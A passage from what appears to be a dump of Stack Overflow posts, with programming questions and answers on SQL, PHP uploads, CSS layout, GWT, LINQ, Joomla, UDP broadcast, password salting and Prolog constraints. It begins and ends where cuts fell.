&lt;ns0:Phone_Number&gt;XXXX&lt;/ns0:Phone_Number&gt; &lt;ns0:Priority&gt;Low&lt;/ns0:Priority&gt; &lt;ns0:Priority_Weight&gt;0&lt;/ns0:Priority_Weight&gt; &lt;ns0:Product_Categorization_Tier_1&gt;XXXX&lt;/ns0:Product_Categorization_Tier_1&gt; &lt;ns0:Product_Categorization_Tier_2&gt;XXXX&lt;/ns0:Product_Categorization_Tier_2&gt; &lt;ns0:Product_Categorization_Tier_3/&gt; &lt;ns0:Product_Model_Version/&gt; &lt;ns0:Product_Name/&gt; &lt;ns0:Region/&gt; &lt;ns0:Reported_Source xsi:nil="true"/&gt; &lt;ns0:Resolution/&gt; &lt;ns0:Resolution_Category/&gt; &lt;ns0:Resolution_Category_Tier_2/&gt; &lt;ns0:Resolution_Category_Tier_3/&gt; &lt;ns0:Service_Type&gt;User Service Restoration&lt;/ns0:Service_Type&gt; &lt;ns0:Site&gt;XXXX&lt;/ns0:Site&gt; &lt;ns0:Site_Group&gt;XXXX&lt;/ns0:Site_Group&gt; &lt;ns0:Status&gt;Cancelled&lt;/ns0:Status&gt; &lt;ns0:Status_Reason xsi:nil="true"/&gt; &lt;ns0:Urgency&gt;4-Low&lt;/ns0:Urgency&gt; &lt;ns0:VIP&gt;No&lt;/ns0:VIP&gt; &lt;ns0:ServiceCI/&gt; &lt;ns0:ServiceCI_ReconID/&gt; &lt;ns0:HPD_CI/&gt; &lt;ns0:HPD_CI_ReconID/&gt; &lt;ns0:HPD_CI_FormName/&gt; &lt;ns0:z1D_CI_FormName/&gt; &lt;ns0:Vendor_Ticket_Number xsi:nil="true"/&gt; &lt;ns0:Corporate_ID&gt;XXXX&lt;/ns0:Corporate_ID&gt; &lt;ns0:Submitter&gt;XXXX&lt;/ns0:Submitter&gt; &lt;ns0:Pending_Date xsi:nil="true"/&gt; &lt;/ns0:getListValues&gt; &lt;/ns0:HelpDesk_QueryList_ServiceResponse&gt; &lt;/soapenv:Body&gt; &lt;/soapenv:Envelope&gt; </code></pre>
30867134	0	 <p>Just want to jump in here. I've written a blog post <a href="http://drekka.ghost.io/objective-c-generics/" rel="nofollow">over here</a> about Generics. </p> <p>The thing I want to contribute is that <strong>Generics can be added to any class</strong>, not just the collection classes as Apple indicates. </p> <p>I've successfully added then to a variety of classes as they work exactly the same as Apple's collections do. ie. compile time checking, code completion, enabling the removal of casts, etc.</p> <p>Enjoy.</p>
37312954	0	 <p><code>runtime.Stack()</code> puts a formatted stack trace into a supplied <code>[]byte</code>. You can then convert that to a string.</p> <p>You can also use <code>debug.Stack()</code>, which allocates a large enough buffer to hold the entire stack trace, puts the trace in it using <code>runtime.Stack</code>, and returns the buffer (<code>[]byte</code>).</p>
29610654	0	 <p>What you are suggesting does not make a lot of sense so there must be something outside the query that is causing this. </p> <p>My guess is that the types of the columns are:</p> <ul> <li>Act_Run_Hrs integer </li> <li>Act_Run_Labor_Hrs float</li> </ul> <p>In this case sql sever will do an implicit cast (like the following) from float to integer for Act_Run_Hrs which would give you the result you have seen.</p> <pre><code>UPDATE Job_Op_Time SET Act_Run_Qty = Act_Run_Qty + 1, Act_Run_Hrs = CAST(ROUND(CAST(((Act_Run_Qty + 1) * @Cycle) AS FLOAT)/3600,2) as int), Act_Run_Labor_Hrs = ROUND(CAST(((Act_Run_Qty + 1) * @Cycle) AS FLOAT)/3600,2) WHERE Job_Operation = @Op AND Work_Date = DATEADD(dd,0,DATEDIFF(dd,0,@L)) </code></pre> <p>Another possibility is that another transactions is getting in and altering the data between this update running and you looking at the result.</p>
39655068	0	php alert message upload successful <p>I have this code:</p> <pre><code>&lt;?php if (isset ($_FILES['UploadFileField'])){ $UploadName = $_FILES['UploadFileField'] ['name']; $UploadName = mt_rand (100000, 999999).$UploadName; $UploadTmp = $_FILES['UploadFileField'] ['tmp_name']; $UploadType = $_FILES['UploadFileField'] ['type']; $FileSize = $_FILES['UploadFileField'] ['size']; $UploadName = preg_replace("#[^a-z0-9.]#i", "", $UploadName); if(($FileSize &gt; 1250000)){ die ("Error - File to Big"); } if(!$UploadTmp) { die ("No File Selected"); } else { move_uploaded_file($UploadTmp, "Upload/$UploadName"); } header('Location: /index.php'); exit; } ?&gt; </code></pre> <p>This code works, but I need insert a message of successful after that is done Upload file. Thank you!</p>
21109375	0	 <p>You can use class wildcards if you want to be able to assign variables of multiple types to a var:</p> <pre><code>public var One:*; </code></pre> <p>Alternatively if both of your classes extend the same class you can use that as the base class for your var:</p> <pre><code>public class Words{ ... } public class Poem extends Words{ ... } public class Prose extends Words{ ... } public var Soliloquy:Words; </code></pre>
31814487	0	 <p>The only odd thing in your pointcut is the rogue '\' I see ahead of the * in the cflow pointcut component. I'd also suggest using execution() if you can rather than call() (there are typically lots of call sites to instrument but only one execution site).</p> <pre><code>cflow(execution(* ext.demo.Report.*(..))) &amp;&amp; execution(* ext.demo.QueryUtil.*(..)) </code></pre> <p>If it isn't behaving for you then break it down to work out which piece is at fault. Does <code>execution(* ext.demo.QueryUtil.*(..))</code> match everything you expect? Does <code>execution(* ext.demo.Report.*(..))</code> match everything you expect? (I'd use <code>-showWeaveInfo</code> to check)</p>
26198858	0	LINQ and converting int? to int <p>Following gives me a cannot implicitly convert type 'int?' to 'int'. An explicit conversion exists (are you missing a cast?) error:</p> <pre><code>public class JobStructure { public JobStructure() { } public JobStructure(int? jobId, int? parentJobId) { var js = from r in dbc.fnJobStructure(someParameter_to_database_function) select new JobStructure { JobID = r.JobID //&lt;-------------ERROR: cannot implicitly convert type 'int?' to 'int'. An explicit conversion exists (are you missing a cast?) }; } public int JobID { get; set; } } </code></pre> <p>JobID is of type Int, and r.JobId that's coming from my database is nullable (it shouldn't be but it is). That's beyond the point; </p> <p>I just wanna know how to deal with this problem int? to int problem in general</p> <p>thanks</p> <hr> <h2>EDIT</h2> <p>Actually, Never mind; I don't have a way of verifying the answers; the problem here is a fundamental one; I'm creating a whole new instance of my class inside the linq expression which will have its own JobId; so when I'm actually calling the JobStructure constructor, I am never assigning a proper jobId (a new instance in the linq gets created and once we're out of the constructor, that instance with the proper jobId is dead.) Anyways thought I'd let everyone know (I tried to delete my question, but it warned against it... so I'm leaving it here with the Edited note) cheers</p>
35618210	0	 <p>Why are you putting <code>ref.a</code> inside <code>{}</code>? You were essentially trying to create a object with no key value. Here's the fix:</p> <pre><code>var ref = [{"a":"x","b":"y"]; var someArrayOfObject = [{t1:ref.a},{t1:ref.b}]; </code></pre>
10618822	0	JavaScript doesn't append script <p>I'm using "PHP Form Builder Class" to generate form and submit it with ajax, but i dont think problem is related to "PHP Form Builder Class".</p> <p>I`m loading form and "PHP Form Builder Class" is generating javascript that binds some events to submit action, and jquery-ui button etc.</p> <p>When i submit form and get response from server (html+javascript) then i empty container and load new data - with the same form (to show errors or submit new one). </p> <p>Problem is that second time it wont bind any events to my form.</p> <p>I have removed all events from previous html code, before deleting it and adding new one.</p> <p>So now to the weird part - when i insert new html and js into my container it wont show that particular javascript code that is intended for form. I cant see it in html DOM anywhere when inspecting. I added simple alert(1) in it to check if it will run, and it does, although rest of the code doesnt - and i dont get any errors. So how can this alert run when it doesn't show in dom. I'm appending code with jquery.html()</p> <p>I know its not easy to understand my problem, but i hope someone will</p>
13634008	0	 <p>That method does work, though if you can, you would be better off setting these values in the code-behind; it will help keep your ASPX clean.</p> <p>You can add meta data like:</p> <pre><code>HtmlMeta meta = new HtmlMeta(); meta.Name = "keywords"; meta.Content = srKeywords; this.Header.Controls.Add(meta); meta = new HtmlMeta(); meta.Name = "Description"; meta.Content = srDescription; this.Header.Controls.Add(meta); </code></pre> <p>And page title:</p> <pre><code>Page.Title = stTitle; </code></pre>
9016749	0	HTML/CSS: Content Div slips down <p>i have a simple markup with a navigation <code>div</code>, a content <code>div</code> and a footer <code>div</code>. If I open my "page", everything seems okay. But if I open the page and then resize the browser window to e.g. 30%, then the <strong>content</strong> <code>div</code> slides down.</p> <p>It seems only to occur in internet explorer.</p> <p>The test markup:</p> <pre><code>&lt;html&gt; &lt;body&gt; &lt;div id="container"&gt; &lt;div id="navi" style="float:left;width:197px;background-color:blue;"&gt; NaviContent &lt;br /&gt;&lt;br /&gt; more NaviContent &lt;/div&gt; &lt;div id="content" style="width:820px;background-color:yellow"&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;Content &lt;br /&gt;&lt;br /&gt; more ContentContent &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; more ContentContent &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; more ContentContent &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; &lt;div id="footer" style="clear:both;"&gt; Footer Content &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Images of the problem:</p> <p>browser in 100% view: <a href="http://www.suckmypic.net/25729/1.png" rel="nofollow">http://www.suckmypic.net/25729/1.png</a></p> <p>browser window resized: <a href="http://www.suckmypic.net/25730/2.png" rel="nofollow">http://www.suckmypic.net/25730/2.png</a></p> <p><em>Please help</em></p>
13616939	0	 <p>The only thing that sticks out is "<code>&amp;</code>" which is <code>+</code> in SQL Server. However, <code>&amp;</code> in access also treats NULL values as the empty string, which needs further processing with <code>ISNULL</code> in SQL Server:</p> <pre><code>SELECT table1.* FROM table1 INNER JOIN (table2 INNER JOIN table3 ON ( table2.custkey = table3.custkey ) AND ( table2.sequence = table3.sequence )) ON table1.account = table2.account WHERE (( LEFT(table2.keyid, 1) = 'B' )) ORDER BY isnull(table3.lastname,'') + isnull(table3.firstname,''), table1.account; </code></pre> <p>If I were to write the query in SQL Server from scratch, I would probably do the joins serially rather than do the t2-t3 in a bracket before joining back to t1. The test for the first character would also be expressed as LIKE (a personal preference).</p> <pre><code> SELECT table1.* FROM table1 JOIN table2 ON table1.account = table2.account JOIN table3 ON table2.custkey = table3.custkey AND table2.sequence = table3.sequence WHERE table2.keyid LIKE 'B%' ORDER BY isnull(table3.lastname,'') + isnull(table3.firstname,''), table1.account; </code></pre>
13096455	0	 <p>You can call a PHP file from JavaScript and pass the variables you want via POST or GET. Or simply set a COOKIE.</p> <p>Cookie would be sent to PHP at the very first next page request and PHP can act on it.</p>
11041183	0	 <p>You can protect both your password and your salt.</p> <ol> <li><p>Use SHA256 or higher (2012) and in years to come it must be higher.</p></li> <li><p>Use a different salt for every user. </p></li> <li><p>Use a calculated salt.</p></li> <li><p>Create a 16 to 32 byte Salt and store it in the database, called 'DBSalt'.</p></li> <li><p>Create any old algorithm to manipulate the salt but keep the algorithm only in code. Even something as simple as DBSalt + 1 is useful because if someone gets your database, they don't actually have the correct salt because the correct salt is calculated.</p></li> <li><p>Calculate your password as follows:</p> <p>CreateHash(saltAlgorithm(dbSalt), password);</p></li> <li><p>You can add security by having a list of algorithms that manipulate the DBSalt in different ways. Every time a user changes their password you also use a different calculation against the DBSalt</p></li> <li><p>You can add more security by having these algorithms be stored on web servers external to your system so if your DB and code both get hacked, they still don't have your salt.</p> <ol> <li>You can also increase security by having a before, and after, or both salt and the database alone doesn't provide this information.</li> </ol></li> </ol> <p>There is no end to the "You can increase security by..." comments. Just remember, every time you add security, you add complexity, cost, etc...</p> <p><a href="http://www.rhyous.com/2012/06/18/how-to-effectively-salt-a-password-stored-as-a-hash-in-a-database/" rel="nofollow">How to effectively salt a password stored as a hash in a database</a> </p>
4544859	0	How to display something from array with another name in PHP? <p>I have one array that returns one element $name, and I want to display it with another name, For example:</p> <p>$name = 'PC' and I want to display it as 'PC COMPUTER', first array displays element wich is true, how to compare this elements with another array to display it with that other names?</p>
8168946	0	 <p>Many ASP.NET controls contain a settable <code>ToolTip</code> property</p>
27624621	0	 <p>You don't have to wait! If you look at the javadocs for resolveService(NsdServiceInfo serviceInfo, NsdManager.ResolveListener listener) <a href="http://developer.android.com/reference/android/net/nsd/NsdManager.html#resolveService(android.net.nsd.NsdServiceInfo,%20android.net.nsd.NsdManager.ResolveListener)">here</a> you'll notice that for the parameter listener it say's "to receive callback upon success or failure. Cannot be null. Cannot be in use for an active service resolution."</p> <p>Therefore in order for this to work just do the following:</p> <pre><code>mNsdManager.resolveService(service, new MyResolveListener()); </code></pre> <p>Where MyResolveListener is:</p> <pre><code>private class MyResolveListener implements NsdManager.ResolveListener { @Override public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) { //your code } @Override public void onServiceResolved(NsdServiceInfo serviceInfo) { //your code } } </code></pre> <p>hope this helps :)</p>
20808358	0	 <p>You are missing a "return":</p> <pre><code>return RedirectToAction(...); </code></pre> <p>If you want to reuse the method multiple times you should look into writing a filter.</p>
11270987	0	 <p>Very simple fix:</p> <pre><code>string User = Environment.UserName; toolStripStatusLabel1.Text = "This Software is Licensed to: " + User; // Add a space after 'to:' </code></pre> <p>Hope this helps!</p>
5144373	0	Can't seem to read UITextField value correctly <p>I am trying to verify that my uitextfield, which only allows numbers isn't 0 (zero). This check fails every time? When debugging resultingString = '0'( I type in zero ) as I am trying to make it fail, but it doesn't fail. </p> <p><code>NSString *resultingString = budgetField.text;</p> <pre><code>if(resultingString == @"0" || [resultingString length] == 0){ [AppHelpers showAlert:@"Dude!" withMessage:@"Don't be cheap I know you have more than a $1"]; //never gets in here. return; } </code></pre> <p></code></p>
18589405	0	 <p>After the click on day it is not adding the class, so see if this helps</p> <pre><code>$(".ui-datepicker-current-day").click(function(){ $(this).parent().addClass('current-week'); }); </code></pre>
27309554	0	Publish asmx web service to FTP server given parser error <p>I create web service name <strong>Webservice.asmx</strong> into Web application name <strong>Publish_test</strong> using VS2013 every thing is work find,but when i publisher it my host i get this error :</p> <pre><code>Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Could not create type 'Publish_test.MyWebService.WebService'. Source Error: Line 1: &lt;%@ WebService Language="C#" CodeBehind="~/WebService.asmx.cs" Class="Publish_test.MyWebService.WebService" %&gt; Source File: /test/test/MyWebService/WebService.asmx Line: 1 Version Information: Microsoft .NET Framework Version:2.0.50727.5485; ASP.NET Version:2.0.50727.5483 </code></pre> <p>My web Service Code :</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Services; namespace Publish_test.MyWebService { /// &lt;summary&gt; /// Summary description for WebService1 /// &lt;/summary&gt; [WebService(Namespace = "http://src-services.com/test/test/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] [System.ComponentModel.ToolboxItem(false)] // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line. // [System.Web.Script.Services.ScriptService] public class WebService : System.Web.Services.WebService { [WebMethod] public string HelloWorld() { return "Hello World"; } } } </code></pre>
29242028	0	 <p>because your <code>.column</code> divs are <code>float:left;</code> you need a container with <code>clear:both;</code> after the columns:</p> <pre><code>&lt;section&gt; &lt;h4&gt;WHAT WE DO&lt;/h4&gt; &lt;h2&gt;HEADING&lt;/h2&gt; &lt;div class="column"&gt; &lt;div class="item"&gt;&lt;/div&gt; &lt;h3&gt;ITEM1&lt;/h3&gt; &lt;p&gt;Necessitatibus ipsa ex hic sunt maxime.&lt;/p&gt; &lt;/div&gt; &lt;div class="column"&gt; &lt;div class="item"&gt;&lt;/div&gt; &lt;h3&gt;ITEM2&lt;/h3&gt; &lt;p&gt;Molestias ipsum ex deleniti illo qui obcaecati repellat.&lt;/p&gt; &lt;/div&gt; &lt;div class="column"&gt; &lt;div class="item"&gt;&lt;/div&gt; &lt;h3&gt;ITEM3&lt;/h3&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt; &lt;/div&gt; &lt;div class="clearer"&gt;&lt;/div&gt; &lt;/section&gt; </code></pre> <p>CSS</p> <pre><code>.clearer { clear:both; } </code></pre> <p><a href="http://codepen.io/anon/pen/myvwNY" rel="nofollow">http://codepen.io/anon/pen/myvwNY</a></p> <p>Without the <code>clear</code> the container the floating divs are in has no height.</p>
30476496	0	 <p>Jesse Gallagher's Scaffolding framework also accesses Java objects rather than dominoDocument datasources. I've used (and modified) Tim Tripcony's Java objects in his "Using Java in XPages series" from NotesIn9 (the first is <a href="http://www.notesin9.com/2013/12/17/notesin9-132-using-java-in-xpages-part-1/" rel="nofollow">episode 132</a>. The source code for what he does is on <a href="https://bitbucket.org/timtripcony/howyabean" rel="nofollow">BitBucket</a>. This basically converts the dominoDocument to a Map. It doesn't cover MIME (Rich Text) or attachments. If it's useful, I can share the amendments I made (e.g. making field names all the same case, to ensure it still works for existing documents, where fields may have been created with LotusScript).</p>
18803313	0	 <p>Have you looked at the instructions in this site <a href="http://rubyinstaller.org/" rel="nofollow">http://rubyinstaller.org/</a> it really helped me when i try to do that.</p> <p>Here is another site to help you out <a href="https://www.ruby-lang.org/en/downloads/" rel="nofollow">https://www.ruby-lang.org/en/downloads/</a></p>
24918970	0	Git GUI push button does not work <p>I was copying my repository to github from my local computer using the command - git push origin master, after cd-ing into my repo directory. </p> <p>When, I tried this using Git gui, I can scan for changes to the repo and commit them. But I cannot push them to my remote repository. How do I find out the reason for this error and how do I fix it ?</p>
20002139	0	Trying to read a serverside file with GWT <p>I am new to the whole GWT thing and for a project I need to read a serverside file via an asynchronous call and return an array of data to the client. So far I followed an RPC tutorial and implemented the server and client side code as well as the web.xml file but when I try to RPC the DataExtraction method on my client, it will result in the following error:</p> <blockquote> <p>javax.servlet.ServletContext log: Exception while dispatching incoming RPC call com.google.gwt.user.server.rpc.UnexpectedException: Service method 'public abstract int[] ch.uzh.ifi.se.swela.client.DataExtractorService.extract(java.lang.String) throws java.io.IOException' threw an unexpected exception: java.security.AccessControlException: access denied ("java.io.FilePermission" "/SE Swiss Election App/war/tables/Ferien_K.csv" "read")</p> </blockquote> <p>This is the call:</p> <pre><code>DataExtractorServiceClientImpl clientImpl = new DataExtractorServiceClientImpl(GWT.getModuleBaseURL() + "dataExtractor"); clientImpl.extract("/SE Swiss Election App/war/tables/Ferien_K.csv"); </code></pre> <p>For me it seems like, that the server does not have the permission to open the file, but how would I fix that? Thank you in advance.</p>
9735989	0	MVC 3 - Only display/use certain model properties <p>Being fairly new to MVC 3 I am not sure of the best approach for this. Let's say I have a simple class like this...</p> <pre><code>Public Class PDetail &lt;Required&gt; Public Property FirstName As String &lt;Required&gt; Public Property LastName As String &lt;Required&gt; Public Property CellNo As String &lt;Required&gt; Public Property PassportNo As String &lt;Required&gt; Public Property Nationality As String Public Property ExtraRequirements As String End Class </code></pre> <p>This is used to create my model. During a booking process I may prompt for these values on a view. However depending on the type of booking I may not wish to ask some of these questions. For example I may not require the PassportNo and Nationality if the booking does not involve going to a foreign country.</p> <p>What's the best way to deal with this? The easy way seems to be to have a separate property that determines which fields are shown as EditorFor and the others use HiddenFor. But is this sensible? Also when it comes to server side validation the hidden fields are still validated.</p> <p>The class above is a simplified version of what I actually do. I have up to 10 fields that can be shown or hidden independently depending on the type of booking, so creating a separate model for each combination would be a nightmare.</p>
16027233	0	 <p>When doing your comparison, <code>&lt;= size</code> means you're iterating 1 past the end of the array. It's most likely picking up some really huge garbage value and that becomes the minimum.</p> <p>Use <code>for (int i = 1; i &lt; size; ++i) { /* ... */ }</code> to get what you need.</p>
1991315	0	 <p>There are two ways to add items to the context menu. </p> <p><strong>Registry</strong></p> <p>This method is easy since it comes down to adding some registry keys. The downside is that you can't put any logic in it. You can read about it <a href="http://msdn.microsoft.com/en-us/library/bb776820%28VS.85%29.aspx" rel="nofollow noreferrer">here</a> and <a href="http://www.delphi3000.com/articles/article_4119.asp?SK=" rel="nofollow noreferrer">here</a> a simple example in Delphi. You get a bit more control if you are using DDE to execute the menu items. See <a href="http://cc.embarcadero.com/Item/17787" rel="nofollow noreferrer">here</a> for a Delphi example. If DDE doesn't solve your 'already running' problem you could try and have your applications communicate with each other trough some way of IPC.</p> <p><strong>Shell Extension</strong></p> <p>This method is a bit more work, but you can completely control the context menu from code. You would have to write a DLL, implement <a href="http://msdn.microsoft.com/en-us/library/bb776095%28VS.85%29.aspx" rel="nofollow noreferrer">IContextMenu</a> (or others) and register the dll with Windows Explorer. You can read about it <a href="http://msdn.microsoft.com/en-us/library/bb776881%28VS.85%29.aspx" rel="nofollow noreferrer">here</a>. You could also check out <a href="http://www.shellplus.com/examples/shortcut-menu-example.html" rel="nofollow noreferrer">Shell+</a>.</p>
6891285	0	 <p>It's a bit of a pain, to be honest. Even more so, in my opinion, if you're using Federated Identity, such as Windows Identity Foundation and/or Azure AppFabric Access Control Service.</p> <p>Your Ajax calls can't handle the redirect. </p> <p>My solution/suggestion is not to mark your Ajax-invoked controller action methods with [Authorize], but instead rely on the presence of some value that you insert into Session State from a controller action that does have an [Authorize] (typically the controller action method that was called to display the view). You know that the value can't have got into Session State unless the user was authenticated (and the session hasn't timed out). Fail the call to your Ajax method if this value isn't present, returning a specific JSON result that you can handle gracefully in your client-side code.</p> <p>Using [Authorize] on an Ajax controller method causes weird, often hidden, errors (such as updates disappearing).</p>
16058599	0	 <p>If you want to extract pdf text into a astring, try to use <code>PdfTextExtractor.GetTextFromPage</code>, a sampe code:</p> <pre><code>public string ReadPdfFile(string fileName) { var text = new StringBuilder(); if (File.Exists(fileName)) { var pdfReader = new PdfReader(fileName); for (int page = 1; page &lt;= pdfReader.NumberOfPages; page++) { var strategy = new SimpleTextExtractionStrategy(); string currentText = PdfTextExtractor.GetTextFromPage(pdfReader, page, strategy); currentText = Encoding.UTF8.GetString(ASCIIEncoding.Convert(Encoding.Default, Encoding.UTF8, Encoding.Default.GetBytes(currentText))); text.Append(currentText); } pdfReader.Close(); } return text.ToString(); } </code></pre>
19122094	0	HTTP_HOST strlen wrong length <p>I'm trying to compare the <code>HTTP_HOST</code> with my domain name which failed. Struggling to find out what causes this, I tried to print the length of it. To my surprise it outputs the length of my actual domain name (although I am using a web proxy).</p> <p>Using <code>strlen</code> I would receive the same length as in this <code>var_dump()</code> output (showing only what's necessary):</p> <pre><code>["HTTP_HOST"]=&gt; string(12) "mydomain.com.s48.wbprx.com" ["SERVER_NAME"]=&gt; string(12) "mydomain.com.s48.wbprx.com" </code></pre> <p>My original domain was replaced with mydomain.com including the length of the string.</p> <p>I am very stunned, how come I can print the string using echo and see it in its whole, but not get the string length? Even when I did <code>str_replace('.','', $str)</code> it would return me <code>"mydomaincom"</code></p> <p>If it is to any help my website also uses the following htaccess code:</p> <pre><code>&lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / # Removes .php RewriteCond $1 !\.(gif|jpe?g|png|bmp)$ [NC] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ $1.php [L] &lt;/IfModule&gt; </code></pre> <p>I've tried with both .php and without. Same result.</p> <p>This result was produced using: <a href="https://incloak.com/" rel="nofollow">https://incloak.com/</a></p> <p>My PHP version is <code>5.3.14</code> if that would make any difference.</p>
337465	0	 <p>Unwind has it right, except you should use 'sendto'</p> <p>Here is an example, that assumes you already have a socket. It was taken from <a href="http://www.blushingpenguin.com/svn/vendor/clamav/0.94.2/clamav-milter/clamav-milter.c" rel="nofollow noreferrer">clamav</a></p> <pre><code>static void broadcast(const char *mess) { struct sockaddr_in s; if(broadcastSock &lt; 0) return; memset(&amp;s, '\0', sizeof(struct sockaddr_in)); s.sin_family = AF_INET; s.sin_port = (in_port_t)htons(tcpSocket ? tcpSocket : 3310); s.sin_addr.s_addr = htonl(INADDR_BROADCAST); cli_dbgmsg("broadcast %s to %d\n", mess, broadcastSock); if(sendto(broadcastSock, mess, strlen(mess), 0, (struct sockaddr *)&amp;s, sizeof(struct sockaddr_in)) &lt; 0) perror("sendto"); } </code></pre>
34414277	0	odoo: create multiple lines MTO in picking <p>after an order has been confirmed,</p> <ul> <li>Odoo create a stock picking out with origin='<code>SO-2015-00:WH: Stock -&gt; Customers MTO</code>' with multiple lines location_id and location_dest_id = <code>Customer Location</code>, the description of lines=<code>WH: Stock -&gt; Customers MTO</code></li> <li>in some Orders the <code>lines</code> above are in the <code>picking out</code></li> </ul> <p>any idea what is all about !!</p>
5934706	0	CSS: Floated element after the content in code <p>I need to have a floated element after the content/text that's supposed to flow around it in my code for SEO reasons. Usually floats are done like so:</p> <p>CSS:</p> <pre><code>#menu { float: right; width: 180px; padding: 10px; background: #fcc; margin: 0 0 15px 15px; } </code></pre> <p>HTML:</p> <pre><code>&lt;div id="menu"&gt;This is a right float. The long text flows around it.&lt;/div&gt; &lt;div id="content"&gt;&lt;p&gt;This is a long text. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Praesent nec risus. Praesent adipiscing aliquet magna. Proin bibendum velit vitae tortor. Vestibulum a dui quis urna feugiat viverra. Vestinbulum diam dui, ullamcorper in, rhoncus at, facilisis at, lorem. Phasellus turpis metus, sodales sit amet, laoreet nec, aliquet sit amet, tortor. Vivamus massa orci, gravida sit amet, dictum quis, euismod a, est. Aenean pretium facilisis nunc.&lt;/p&gt; &lt;p&gt;Nulla eros mauris, egestas eget, ullamcorper sed, aliquam ut, nulla. Phasellus facilisis eros vel quam. Etiam rutrum turpis a nibh. Integer ipsum. Vestibulum lacus diam, varius in, blandit non, viverra sit amet, sapien. Sed porta sollicitudin nibh. Nam eget metus nec arcu ultricies dapibus.&lt;/p&gt;&lt;/div&gt; </code></pre> <p>But I need to have the HTML like this:</p> <pre><code>&lt;div id="content"&gt;&lt;p&gt;This is a long text. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Praesent nec risus. Praesent adipiscing aliquet magna. Proin bibendum velit vitae tortor. Vestibulum a dui quis urna feugiat viverra. Vestinbulum diam dui, ullamcorper in, rhoncus at, facilisis at, lorem. Phasellus turpis metus, sodales sit amet, laoreet nec, aliquet sit amet, tortor. Vivamus massa orci, gravida sit amet, dictum quis, euismod a, est. Aenean pretium facilisis nunc.&lt;/p&gt; &lt;p&gt;Nulla eros mauris, egestas eget, ullamcorper sed, aliquam ut, nulla. Phasellus facilisis eros vel quam. Etiam rutrum turpis a nibh. Integer ipsum. Vestibulum lacus diam, varius in, blandit non, viverra sit amet, sapien. Sed porta sollicitudin nibh. Nam eget metus nec arcu ultricies dapibus.&lt;/p&gt;&lt;/div&gt; &lt;p id="menu"&gt;This is a right float. Because it's placed below the text in code, it also appears that way.&lt;/p&gt; </code></pre> <p>Basically, I need this HTML to look like the previous example (HTML and CSS). How can I do this?</p> <p>The width of the floated element is constant, but the height can change. The content has to flow around it. The reason I need to have it this way is because the floated element is the menu, which doesn't contain any important text and is usually the same for many pages, so the content should be topmost in the code.</p>
19708591	0	How do add Styles to JCE editor in Joomla 2.5? <p>I am using Joomla 2.5 with the JCE editor. I want to add my own styles but the problem is they don't appear in the Styles selection of the editor. I have the JCE configuration pointing to the editor.css, and while it does recognize the other classes in the editor.css file it doesn't recognize the ones I've added. I've cleared cache in the browser and cleared cache in Joomla, have logged out and back in, and they still don't appear.</p> <p>What am I doing wrong that these Styles don't appear? Does JCE read them directly from the editor.css files each time the page loads or does it store them in some intermediary place or even in a MySQL table? </p> <p>I was looking at this article: <a href="http://www.joomlacontenteditor.net/support/tutorials/editor/item/create-a-custom-editor-stylesheet" rel="nofollow">http://www.joomlacontenteditor.net/support/tutorials/editor/item/create-a-custom-editor-stylesheet</a></p> <p>I'm not clear on this, the class has to be present in the editor.css AND the template.css, not just the editor.css? Thanks!</p>
3882575	0	 <p>Have you tried <a href="http://github.com/ghewgill/pyqver" rel="nofollow">pyqver</a>? It will tell you which is the minimum version of Python required by your code</p> <p>I hope it helps</p>
5919624	0	 <p>Google have a <a href="http://i18napis.appspot.com/address" rel="nofollow">JSON-based API</a> that they use for their <a href="http://code.google.com/p/libaddressinput/" rel="nofollow">Android address input field library</a> that contains this kind of formatting information.</p> <p>The field you'd be interested in is <code>fmt</code>. There doesn't seem to be any formal documentation on the format they use, but a <a href="http://unicode.org/review/pri180/" rel="nofollow">proposal to include this information</a> as part of the Unicode CLDR has matching fields (scroll down to "Detailed Breakdown of elements"); there are also some clues in <a href="http://code.google.com/p/libaddressinput/source/browse/trunk/src/com/android/i18n/addressinput/AddressField.java?r=111" rel="nofollow">Google's libaddressinput source code</a>.</p>
33405349	0	 <p>We <strong>can do</strong> better by translating number-theoretic properties into the language of constraints!</p> <blockquote> <p>All terms are of the form 87...12 = 4*21...78 or 98...01 = 9*10...89.</p> </blockquote> <p>We implement <code>a031877_ndigitsNEWER_/3</code> based on <code>a031877_ndigitsNEW_/3</code> and directly add above property as two finite-domain constraints:</p> <pre> a031877_ndigitsNEWER_(Z_big,N_digits,[K|D_big]) :- <b>K in {4}\/{9}</b>, % (new) length(D_big,N_digits), <b>D_big ins (0..2)\/(7..9)</b>, % (new) reverse(D_small,D_big), digits_number(D_big,Z_big), digits_number(D_small,Z_small), Z_big #= Z_small * K. </pre> <p>Let's re-run the benchmarks we used before!</p> <pre><code>?- time((a031877_ndigitsNEWER_(Z,5,Zs),labeling([ff],Zs),false)). % 73,011 inferences, 0.006 CPU in 0.006 seconds (100% CPU, 11602554 Lips) false. ?- time((a031877_ndigitsNEWER_(Z,6,Zs),labeling([ff],Zs),false)). % 179,424 inferences, 0.028 CPU in 0.028 seconds (100% CPU, 6399871 Lips) false. ?- time((a031877_ndigitsNEWER_(Z,7,Zs),labeling([ff],Zs),false)). % 348,525 inferences, 0.037 CPU in 0.037 seconds (100% CPU, 9490920 Lips) false. </code></pre> <p>Summary: For the three queries, we consistently observed a significant reduction of search required. Just consider how much the inference counts shrank: 1.45M -> 73k, 5M -> 179k, 15.1M -> 